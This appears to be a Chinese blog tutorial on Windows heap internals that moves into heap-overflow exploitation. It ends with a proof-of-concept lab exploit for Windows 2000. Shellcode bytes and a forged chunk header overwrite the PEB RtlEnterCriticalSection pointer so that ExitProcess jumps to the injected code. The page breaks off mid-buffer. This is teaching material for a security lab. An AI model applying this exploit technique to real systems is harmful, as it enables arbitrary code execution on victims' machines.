人工智障plus
2022/04/26阅读:22主题:嫩青
【网安】堆溢出
堆的工作原理
堆与栈的区别
1、栈 (stack) ,是一种在程序设计时就规定好大小及使用方式的内存,由操作系统自动分配释放,用于存放函数的参数值、局部变量等。栈总是成“线性”变化。栈向低地址空间增长。
2、堆 (heap),是一种在程序运行时动态分配的内存,由开发人员分配和释放,若开发人员不释放,程序结束时由 OS 回收,分配方式类似于链表。堆向高地址增长。
下图是经典的 32 位系统内存布局,暂时我们只需要记住栈和堆的增长方向即可,后面实验部分会用到。

堆内存 | 栈内存 | |
---|---|---|
典型用例 | 动态增长的链表等数据结构 | 函数局部数据 |
申请方式 | 函数申请,通过返回指针使用, 如 p = malloc(8); |
程序中直接声名, 如 char buffer[8]; |
释放方式 | 需要指针传给专用的释放函数,如 free | 函数返回时,由系统自动回收 |
管理方式 | 需要程序员处理申请与释放 | 申请后直接使用,申请与释放由 系统自动完成,最后到达栈区平衡 |
所处位置 | 变化范围很大 0x0012XXXX | |
增长方向 | 由内存低地址向高地址排列(不考虑碎片等情况) | 由内存高址向低址增加 |
堆的数据结构与管理策略
程序员使用堆只做三件事:
-
申请一定大小的内存 -
使用内存 -
释放内存
堆管理系统响应申请,就意味着要在 “`杂乱无章[^1]]” 的内存中 "辨识[^2]" 出空闲的内存,“寻找” 一片 “恰当[^3]” 的空闲内存区域,以指针的形式返回给程序。

堆表
:堆表一般位于堆区的起始位置
,用于索引堆区中所有堆块的重要信息,包括堆块的位置、堆块的大小、空闲还是占用等。堆表的数据结构决定了整个堆区的组织方式,是快速检索空闲块、保证堆分配效率的关键。堆表在设计时可能会考虑采用平衡二叉树等高级数据结构,用于优化查找效率。现代操作系统的堆表往往不止一种数据结构。
堆块
:出于性能的考虑,堆区的内存按不同大小组织成块,以堆块为单位进行标识,而不是传统的按字节标识。一个堆块包括两个部分:块首
和块身
。块首位于一个堆块头部的几个字节,用来标识这个堆块自身的信息,例如,本块的大小、本块空闲还是占用等信息;块身是紧跟在块首后面的部分,也是最终分配给用户使用的数据区。
堆的内存组织如下图:

在 Windows 中,占用态[^4]的堆块被使用它的程序索引,而堆表只索引所有 空闲态[^5] 的堆块。
堆表
堆表的实现
在 Windows 中,堆表实现方法两种:空闲双向链表
Free list(简称空表)和快速单向链表
Look aside(简称快表)
空闲双向链表(空表)
堆区一开始的堆表区中有一个128
项的指针数组,被称做空表索引(Freelist array)
。该数组的每一项包括两个指针,用双向链表组织一条空表,如下图。

空表索引
的第二项(free[1]
)链接了堆中所有大小为8字节
的空闲堆块,之后每个索引项链接的空闲堆块大小递增 8 字节,例如,free[2]
链接大小为 16 字节的空闲堆块,free[3]
链接大小为 24 字节的空闲堆块,free[127]
标识大小为 1016 字节的空闲堆块。因此有:
空闲堆块的大小=索引项(ID)×8(字节)
空表索引
的第一项(free[0]
)所标识的空表相对比较特殊。这条双向链表链接了所有大于等于 1024 字节的堆块(小于 512KB)。这些堆块按照各自的大小在零号空表中升序地依次排列下去.把空闲堆块按照大小的不同链入不同的空表,可以方便堆管理系统高效检索。
快速单向表(快表)
快表是 Windows 用来加速堆块分配而采用的一种堆表。这里之所以把它叫做“快表”是因为这类单向链表中从来不会发生堆块合并,快表也有 128 条,组织结构与空表类似,只是其中的堆块按照单链表
组织。快表总是被初始化为空,而且每条快表最多只有 4 个结点,故很快就会被填满。
快表结构:

堆中的操作
堆中的操作分为三种:堆块分配,堆块释放,堆块合并。(其中 “分配” 和 “释放” 是在程序提交申请时执行的,而堆块合并是由堆管理系统自动完成)
堆块分配
堆块分配分为三类:
-
快表分配
:找到大小匹配的空闲堆块、将其状态修改为占用态、把它从堆表中“卸下”、最后返回一个指向堆块块身的指针给程序使用; -
普通空表分配
: 首先寻找最优的空闲块分配,若失败,则寻找次优的空闲块分配[^6],即最小的能够满足要求的空闲块; -
零号空表(free[0])
:先从 free[0]反向查找最后一个块(即表中最大块),看能否满足要求,如果能满足要求,再正向搜索最小能够满足要求的空闲堆块进行分配。
堆块释放
释放堆块的操作包括将堆块状态改为空闲,链入相应的堆表。所有的释放块都链入堆表的末尾
,分配的时候也先从堆表末尾拿。快表最多只有4项
堆块合并
条件:当堆管理系统发现两个空闲堆块彼此相邻的时候,就会进行堆块合并操作。
堆块合并
将两个块从空闲链表中 “卸下”、合并堆块、调整合并后大块的块首信息(如大小等)、将新块重新链入空闲链表。
堆块
根据堆块是否被占用分为占用态
堆块和空闲态
堆块。
占用态
堆块的数据结构如下:
空闲态
堆块的数据结构如下:

对比上面两图可知,空闲态堆块和占用态堆块的块首结构基本一致。相对于占用态的堆块来说,空闲态堆块的块首后 8 个字节存放了两个指针地址,分别指向前驱堆块和后驱堆块。
Self Size:块整体的大小,包括块首和块身
Previous chunk size:前一个块的大小
Segment Index:段索引
Flags:标志位,用于标志块的状态,即空闲态/占用态
Unused bytes:未被使用的字节大小
Tag index(Debug):
Flink in freelist:(Forward Link)指向下一个节点
Blink in freelist:(Backward Link)指向前一个节点
单链表和双链表[1]
LIST_ENTRY 结构 (ntdef.h)[2]
在堆中漫游
堆分配函数之间的调用关系
Windows 堆分配的 API 调用关系

所有的堆分配函数最终都将使用位于 ntdll.dll 中的 RtlAllocateHeap() 函数进行分配。
堆的调试方法
实验环境 | 备注 | |
---|---|---|
操作系统 | windows xp sp3 虚拟机 | 分配策略对操作系统很敏感 |
编译器 | Visrual C++ 6.0 | |
编译选项 | 默认编译选项 | |
build 版本 | release 版本 | 如果使用 debug 版本,实验将会失败 |
实验代码
#include <windows.h>
main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);//Create a heap of specified size
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
//free block and prevent coaleses
HeapFree(hp,0,h1); //free to freelist[2]
HeapFree(hp,0,h3); //free to freelist[2]
HeapFree(hp,0,h5); //free to freelist[4]
HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]
return 0;
}
注意:_asm int 3 是中断指令,用来中断程序,因为如果直接加载程序到 Ollydbg ,程序将使用调试态堆管理策略,而调试态堆管理策略和常态堆管理策略有很大不同: (1)调试堆不使用快表,只用空表分配。 (2)所有堆块都被加上了多余的 16 字节尾部用来防止溢出(防止程序溢出而不是堆溢出攻击),这包括 8 个字节的 0xAB 和 8 个字节的 0x00。 (3)块首的标志位不同。
调试
在调试前我们先将我们的调试工具 Ollydbg 设为默认调试器
-
首先以管理员身份打开 Ollydbg -
在菜单栏下找到 选项 --> 选项

-
在选项的菜单栏中找到 杂项
,勾选将这份x64dbg设为即时调试器
,然后保存

设置完成后,直接进入 vc++6.0,编译成功后,我们直接双击运行,如下

单击 "否" ,将自动打开 Ollydbg 并附加上进程,并在断点处停下来。 根据源码可知,中断是发生在HeapCreate
函数执行完成后的,HeapCreate
执行后会返回堆地址,结果保存在eax
中,我们在调试器发现 eax 值是:0x003A0000

也就是说HeapCreate
创建的堆区起始位置在003A0000
,即堆表从此位置开始,堆表中依次为段表索引(Segment List)
、虚表索引(Virtual Allocation list)
、空表使用标识(freelist usage bitmap)
和空表索引区
。
此处我们只关心堆偏移0x178
处的空表索引区,这个偏移是堆表起始的位置(根据上次我们介绍的堆表结构,堆表包含 128 的 8 个字节的flink
和blink
地址。所以堆表的结束位置在:128*8=1024=0x400,加上偏移,0x178+0x400=0x578)
加上堆基址0x003A0000
+0x178
=0x003A0178
,单击内存 1,在内存 1 中按ctrl+G
,输入刚刚计算出的地址,回车,我们来到了这个地址。 如图,这个地址便是 free[0],占 8 个字节,
flink
和blink
都指向尾块的地址,都是0x003a0688
。后面的依次是 free[1]、free[2],依次类推,我们发现 free[1]、free[2]...free[127]都指向自身,它们都是空链表。
“所以当一个堆刚刚被初始化时,只包含一个空闲态的大块,这个块也叫为"尾块" free[0]指向这个"尾块"
我们转到"尾块"的位置去看看(因为这里只有一个堆块,即 free[0]指向的地址,free[0]=0x003a0688
)
空闲态的堆块有 8 个字节的 flink(指向前驱节点) 与 blink(指向后继节点),此处的值均为0x003a0178
,这个地址是堆表 free[0] 的地址,实验与理论相符。
实际上,HeapAlloc() 返回的堆地址是指向块身
的。在其前面还有 8 个字节的块首
,所以这个堆块起始于0x003a0680
。前 2 个字节为块大小,此处值是0x130
, 堆的计算单位是 8 字节,也就是0x980
字节。
“注意:堆大小包含块首在内。
堆块分配
堆块要点总结:
-
堆块的大小包括了块首在内,即如果请求 32 字节,实际会分配的堆块为 40 字节:8 字节块首+ 32 字节块身; -
堆块的单位是 8 字节,不足 8 字节的部分按 8 字节分配; -
初始状态下,快表和空表都为空,不存在精确分配。请求将使用 “次优块” 进行分配(这个“次优块”就是位于偏移 0x0688
处的尾块,见上一节最后一张图) -
由于次优分配的发生,分配函数会陆续从尾块中切走一些小块,并修改尾块块首中的 size 信息,最后把 freelist[0] 指向新的尾块位置。
内存请求分配情况
堆句柄 | 请求字节数 | 实际分配(堆单位) | 实际分配(字节) |
---|---|---|---|
h1 | 3 | 2 | 16 |
h2 | 5 | 2 | 16 |
h3 | 6 | 2 | 16 |
h4 | 8 | 2 | 16 |
h5 | 19 | 4 | 32 |
h6 | 24 | 4 | 32 |
在调试器中,我们单步走过第一个HeapAlloc
,然后观察内存空间。
“tips: 对于我们主动设置的 int 3 指令,如果调试器忽略异常后仍无法步过的话,可以在下一行代码处右键,选择 “此处设为新的 eip”。
按上面的分析,执行完h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 3);
后,会从0x3a0680
地址开始切出一块大小为 2 个单位(16 字节)的空间分配给 h1, 新的尾块起始地址则为0x003a0690
,flink 与 blink 地址位于0x003a0698
和0x003a069c
,其值0x003a0178
指向freelist[0]
, freelist[0]
则指向新的起始地址0x003a0698
,(003a0690+8
字节的块首,我们上面有提到过指向块身。)
尾块起始处,如下图,如我们所预期的一样
另外,尾块的大小为0x12e
【0x130-2=0x12e 个单位(堆的单位,8 个字节)】,如上图,也可以验证。 h1 所指向的堆块起始位置则是0x003a0680
,如上图可知,大小为 2 个单位
堆表 freelist[0] 处,如下图,如我们所预期的一样
接着,执行h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 5);
,将会从尾块中再切一块大小为 2 个单位(16 字节)的空间给 h2,然后 freelist[0]指向新的尾块起始地址,新的尾块指针仍指向 freelist[0],剩下的尾块大小为12e-2=12c
个单位。
剩下的依次类推,当执行完h6 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
后,堆分配情况如下图所示
剩下的堆大小为 130-2-2-2-2-4-4=120
单位,尾块仍指向 freelist[0](0x003a0178
),如下图
到此,堆的分配则执行完了。根据上面的理论可知,堆表中仍只有一个尾块,不存在其它的堆块。
堆块释放
由于前三次释放的堆块在内存中不连续,因此不会发生合并。按照其大小, h1 和 h3 为 16 字节,则被链入 freelist[2], h5 为 32 字节,则被链入 freelist[4]。
当执行HeapFree(hp, 0, h1)
后,h1 会被链入 freelist[2],所以我们来看看 freelist[2] 的地址; 由于 freelist[0] 的地址为0x003a0178
,所以 freelist[2] 的地址为0x003a0188(=0x003a0178 + 2*0x8)
执行前,如下图。freelist[2] 指向自己,还是空表
执行后,根据链表规则 freelist[2]会指向 h1 的地址,如下图,h1 则会指向 freelist[2]
执行后,原来 h1 所指向的堆块变为空闲态并指向 freelist[2]。如下图,flink 与 blink 都指向 freelist[2],因为此时 freelist[2]链表中就只有一个节点
接着会释放 h3,执行HeapFree(hp, 0, h3)
,执行完后,h3 所指向的堆块会被链入到 freelist[2],并插入到整个链表的末尾。
如下图所示,h3 的 blink(地址 0x003a06ac)指向前一个堆块,即原来的 h1。h3 的 flink 则指向 freelist[2],因为它是最后一个元素。原来的 h1 的 blink 指向 freelist[2],flink 指向 h3
执行后的 freelist[2](0x003a0188
),如下图
形成的链表大概如下:
freelist[2] <---> h1 <---> h3
“注:h3 的 flink 与 freelist[2]的 blink 未给出。
再下一步,执行HeapFree(hp, 0, h5);
,释放 h5 所在的堆块,并链入 freelist[4]
堆块合并
条件:释放两个相邻的空闲块会发生堆块合并操作
步骤:
-
进行第四步 RtlFreeHeap(),释放 h4 后,进行堆块合并 -
首先将从空表中摘下 h3,h4,h5 三个空闲块 -
然后重新计算合并后新堆块的大小, 2+2+4=8
(堆单位:8 字节) -
最后按照合并后的大小,把新块连入链表 freelist[8]
我们来看看 freelist[8](0x003a01b8
),如下图 可以看到,
0x003a06a8
已经被链入 freelist[8]中了, freelist[2](003a0188
)中也只剩下 h1(003a0688
),因为 h3 在合并时被摘下了, freelist[4](00ea0198
)也指向自身了,因为 h5 在合并时也被摘下来了
进入0x003a06a8
,如下图 可以看到,合并只修改了块首的数据,原来的块身基本不变,大小变成了
0x0008
,空表指针指向0x003a01b8
(就是 freelist[8])
“注意:
堆块合并只发生在空表中 因为堆块合并要修改多处指针,比较耗时,所以在强调分配效率的快表中,禁止堆块合并 空表中的第一个块不会向前合并,最后一个不会向后合并
快表的使用
实验环境 | 备注 | |
---|---|---|
操作系统 | windows xp sp3 虚拟机 | 分配策略对操作系统很敏感 |
编译器 | Visrual C++ 6.0 | |
编译选项 | 默认编译选项 | |
build 版本 | release 版本 | 如果使用 debug 版本,实验将会失败 |
实验代码
#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1,h2,h3,h4;
HANDLE hp;
hp = HeapCreate(0, 0,0); //Create a heap of dynamically assigned
__asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
HeapFree(hp, 0, h1);
HeapFree(hp, 0, h2);
HeapFree(hp, 0, h3);
HeapFree(hp, 0, h4);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
HeapFree(hp,0,h2);
}
“注意:
使用快表后,堆结构会发生变化,最主要的变化是 “尾块” 不在位于堆 0x0688 偏移处了,这个位置被快表霸占。
调试
我们先来看看空表索引区发生了哪些变化,如下图 可以看到,在
0x003a0178
处变为了003a1ee8
,不再是0x003a0688
现在我们来看看快表(0x003a0688
),在偏移 ox0688
处,如下图 可以看到,堆刚初始化,快表是空的
然后我们将将代码调试到,释放完 h4 之后,如下图所示
根据四个堆块大小我们可以知道,h1,h2 将会被插入到 Lookaside[1]中,h3 会被插入到 Lookaside[2]中,h4 会被插入到 Lookaside[4]中,快表区状态,如下图 可以看到,
003a1ea0
是 8 字节堆块地址,003a1eb0
是 16 字节堆地址,003a1ec8
是 24 字节堆地址
进入003a1ea0
,来看看堆块状态,如下图 紫色框的为下一堆块指针,红色框为堆块状态,
ox01
表示是 Busy 状态 块首只存指向下一堆块的指针,不存再指向前一堆块的指针。
接着申请 16 字节的空间,系统会从 Lookaside[2]中卸载一个堆块分配给程序,同时修改 Lookaside[2] 表头,如下图
可以看到,Lookaside[2](0x003a0718
)处变为空了。
堆溢出利用(上)—— DWORD SHOOT
链表“拆卸”中的问题
堆管理系统三类操作:堆块分配、堆块释放、堆块合并。
这三种操作实际上是对链表的修改,如果我们能伪造链表结点的指针,那么在 “卸下” 和 “链入” 过程中就可能获得一次读写内存的机会。
堆溢出的精髓:用特殊的数据去溢出下一个堆块的块首,改写块首的前向指针(flink)和后向指针(blink),然后在分配、释放、合并等操作发生时伺机获得一次向内存任意地址写入任意数据的机会。
DWORD SHOOT:向内存任意地址写入任意数据。
点射目标(Target) | 子弹(payload) | 改写后的结果 |
---|---|---|
栈帧中的函数返回地址 | shellcode 起始地址 | 函数返回时,跳去执行 shellcode |
栈帧中的 S.E.H 句柄 | shellcode 起始地址 | 异常发生时,跳去执行 shellcode |
重要函数调用地址 | shellcode 起始地址 | 函数调用时,跳去执行 shellcode |
“注意: DWORD SHOOT 发生时,我们不但可以控制射击的目标(任意地址),还可以选用适当的子弹(填充的 4 字节恶意数据)。
DWORD SHOOT 原理
下面我们讲解,将一个结点从双向链表中 “拆卸” 下来的过程中,是怎么向任意地址写入任意数据的(即 DWORD SHOOT)
int remove (ListNode * node)
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 0;
}//正常拆卸结点的函数
正常拆卸过程,正如下面 图 5.3.1 过程一样。
但是当我们利用堆溢出,把 Node 的块首覆盖后,node -> flink(前向指针)与 node -> blink(后向指针)也就能伪造了。 这时,如果继续执行堆块 “拆卸”,实际上是执行node -> blink(fake) -> flink = node -> flink(fake);
即 Target -> flink = node -> flink(fake);
,如下面的 图 5.3.2 所示。

调试
实验环境 | 备注 | |
---|---|---|
操作系统 | windows xp sp3 虚拟机 | 分配策略对操作系统很敏感 |
编译器 | Visrual C++ 6.0 | |
编译选项 | 默认编译选项 | |
build 版本 | release 版本 | 如果使用 debug 版本,实验将会失败 |
按照堆表数据结构规定,堆的空表索引区在偏移0x0178
处。在这个实验中空表索引区的地址是0x003a0178
#include <windows.h>
int main()
{
HLOCAL h1,h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0, 0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
__asm int 3
//free block and prevent coalesing
HeapFree(hp, 0, h1);
HeapFree(hp, 0, h3);
HeapFree(hp, 0, h5);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMOTY, 8);
return 0;
}
步骤
与前面实验调试一样,先在 vc++6.0 中编译运行代码,然后跳转到 ollydbg,如下图
跳过断点指令:在004010E2
处右击 --> 选择==设置新的运行点==跳转,如下图
断点是刚好在 h6 创建完成后,在释放奇数堆块前,所以这时在我们还未释放堆块前,我们先来观察一下堆的空表索引区,除了 freelist[0]中有一个大块的“堆尾”外,其它的都指向自己,因为还没有堆块释放挂入堆中,如下图
我们再来看看“堆尾”(003a06e8
),如下图,可以看到,h1 ~ h6 它们的前驱和后继指针都为空,只有“尾块”的前去后记指针指向 freelist[0]
在执行完三次释放操作后,我们再来看看空表索引区,在 freelist[2]中多出003a0688
和003a06c8
接着再看看 h1~h6 堆块,在程序中释放掉的 h1, h3, h5 已经有了前驱和后继指针,被链入了 freelist[2]中
这时,最后一次 8 字节的内存请求将会把原来的 h5 分配出去,这意味着,将会中 freelist2]的双向链表中 “卸下” 最后一个节点(h5),freelist[2]双向链表示意图,如下图所示
如果我们直接在内存中修改 h5 的空表指针(攻击时是由于溢出而改写的),那么应该能够观察到 DWORD SHOOT 现象
如下图所示,直接把 h5 的后继指针修改为44 44 44 44
,前驱指针修改为00 00 00 00
, 当最后一个分配请求函数被调用后,调试器被异常中断,因为无法将0x44444444
写入00000000
。
如果我们把射击目标定位合法地址,这条指令执行后,0x44444444
将会被写入目标
堆溢出利用(下)——代码植入
DWORD SHOOT 的利用方法
与栈溢出中的“地毯式轰炸”不同,堆溢出更加精准,往往直接狙击重要目标。
DWORD SHOOT 的常用目标:
-
内存变量: 修改能够影响程序执行的重要标志变量,改变程序流程。 -
代码逻辑: 修改代码段重要函数的关键逻辑有时可以达到一定攻击效果,如逻辑判断代码或者身份验证函数。 -
函数返回地址: 由于栈帧移位,函数地址不固定,所以通过函数返回地址攻击,具有局限性 -
异常处理机制: 当程序产生异常时, Windows 会转入异常处理机制。堆溢出很容易引起异常,因此异常处理机制所使用的重要数据结构往往会成为 DWORD SHOOT 的上等目标,这包括 S.E.H( structure exception handler)、 F.V.E.H( First Vectored Exception Handler)、进程环境块( P.E.B)中的 U.E.F (Unhandled Exception Filter)、线程环境块(T.E.B)中存放的第一个 S.E.H 指针(T.E.H)。 -
函数指针: 系统有时会使用一些函数指针,比如调用动态链接库中的函数、 C++中的虚函数调用等。改写这些函数指针后,在函数调用发生后往往可以成功地劫持进程。 -
P.E.B 中线程同步函数的入口地址: 在每个进程的 P.E.B 中都存放着一对同步函数指针,指向 RtlEnterCriticalSection()和 RtlLeaveCriticalSection(),并且在进程退出时会被 ExitProcess()调用。如果能够通过 DWORD SHOOT 修改这对指针中的其中一个,那么在程序退出时 ExitProcess()将会被骗去调用我们的 shellcode。由于 P.E.B 的位置始终不会变化,这对指针在 P.E.B 中的偏移也始终不变,这使得利用堆溢出开发适用于不同操作系统版本和补丁版本的 exploit 成为可能。
狙击 P.E.B 中 RtlEnterCritical-Section()的函数指针
当进程退出时,ExitProcess() 函数要做很多善后工作,其中一定会用到临界区函数 RtlEnterCriticalSection() 和 RtlLeaveCriticalSection() 来同步线程防止异常数据产生。
ExitProcess() 函数调用临界区函数的方法比较独特,是通过进程环境块 P.E.B 中偏移 0x20 处存放的函数指针来间接完成的。具体说来就是在 0x7FFDF020
处存放着指向 RtlEnterCriticalSection() 的指针,在 0x7FFDF024
处存放着指向 RtlLeaveCriticalSection()的指针。

下面我们就以 0x7FFDF020
处的 RtlEnterCriticalSection() 指针为目标,联系 DWORD SHOOT 后,劫持进程、植入代码。
调试
实验环境 | 备注 | |
---|---|---|
操作系统 | windows 2000 虚拟机 | 分配策略对操作系统很敏感 |
编译器 | Visrual C++ 6.0 | |
编译选项 | 默认编译选项 | |
build 版本 | release 版本 | 如果使用 debug 版本,实验将会失败 |
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";//200 bytes 0x90
/*
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";
//0x00360688 is the address of shellcode in first heap block
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
*/
/*
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77" //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";
//0x00360688 is the address of shellcode in first heap block, you have to make sure this address via debug
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
*/
main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
//__asm int 3 //used to break the process
//memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
先简单地解释一下程序和实验步骤。 (1) h1 向堆中申请了 200
字节的空间。 (2) memcpy 的上限错误地写成了0x200
,这实际上是 512
字节,所以会产生溢出。 (3) h1 分配完之后,后边紧接着的是一个大空闲块(尾块)。 (4)超过 200
字节的数据将覆盖尾块的块首。 (5)用伪造的指针覆盖尾块块首中的空表指针,当 h2 分配时,将导致 DWORD SHOOT。
DWORD SHOOT 详细过程
第一次链表分配(h1):
先向后遍历找到最大堆块,进行比较,然后再正向遍历,找到最小的符合要求的堆块。这里只有尾块,所以先分割尾块进行分配。先把尾块划分成两部分,然后修改两个块首大小信息,尾块指针复制到指定位置,然后回到空表freelist[0],修改空表指针。
缓冲区溢出,修改尾块的前驱后继指针
第二次链表分配(h2):
通过空表找到尾块,然后分割尾块,修改块首大小信息,复制尾块指针到指定位置,然后原本是通过后继指针回到freelist[0],但是后继指针被覆盖,Node->blink(fake)指向了目标位置(target),然后用Node->flink(fake)修改了目标位置的内容。
(6) DWORD SHOOT 的目标是 0x7FFDF020
处的 RtlEnterCriticalSection()函数指针,可以简单地将其直接修改为 shellcode 的位置。 (7) DWORD SHOOT 完毕后,堆溢出导致异常,最终将调用 ExitProcess()结束进程。 (8) ExitProcess()在结束进程时需要调用临界区函数来同步线程,但却从 P.E.B 中拿出了指向 shellcode 的指针,因此 shellcode 被执行。
为了能够调试真实的堆状态,我们在代码中手动加入了一个断点:
__asm int 3
依然是直接运行.exe 文件,在断点将进程中断时,再把调试器 attach 上。
我们先向堆中复制 200
个 0x90
字节,看看堆中的情况是否与预测一致,如下图,与我们分析一致,200 字节后就是尾块
缓冲区布置如下: (1)将我们那段 168 字节的 shellcode 用 0x90 字节补充为 200 字节。 (2)紧随其后,附上 8 字节的块首信息。为了防止在 DWORD SHOOT 发生之前产生异常,不妨直接将块首从内存中复制使用: “\x16\x01\x1A\x00\x00\x10\x00\x00”。 (3)前向指针**( flink )是 DWORD SHOOT 的“子弹”,这里直接使用 shellcode 的起始地址0x00360688
。 (4)后向指针( blink )**是 DWORD SHOOT 的“目标”,这里填入 P.E.B 中的函数指针地址 0x7FFDF020
。
“注意:shellcode 的起始地址
0x00360688
需要在调试时确定。有时,HeapCreat()函数创建的堆区起始位置会发生变化。
这时,缓冲区内容如下:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
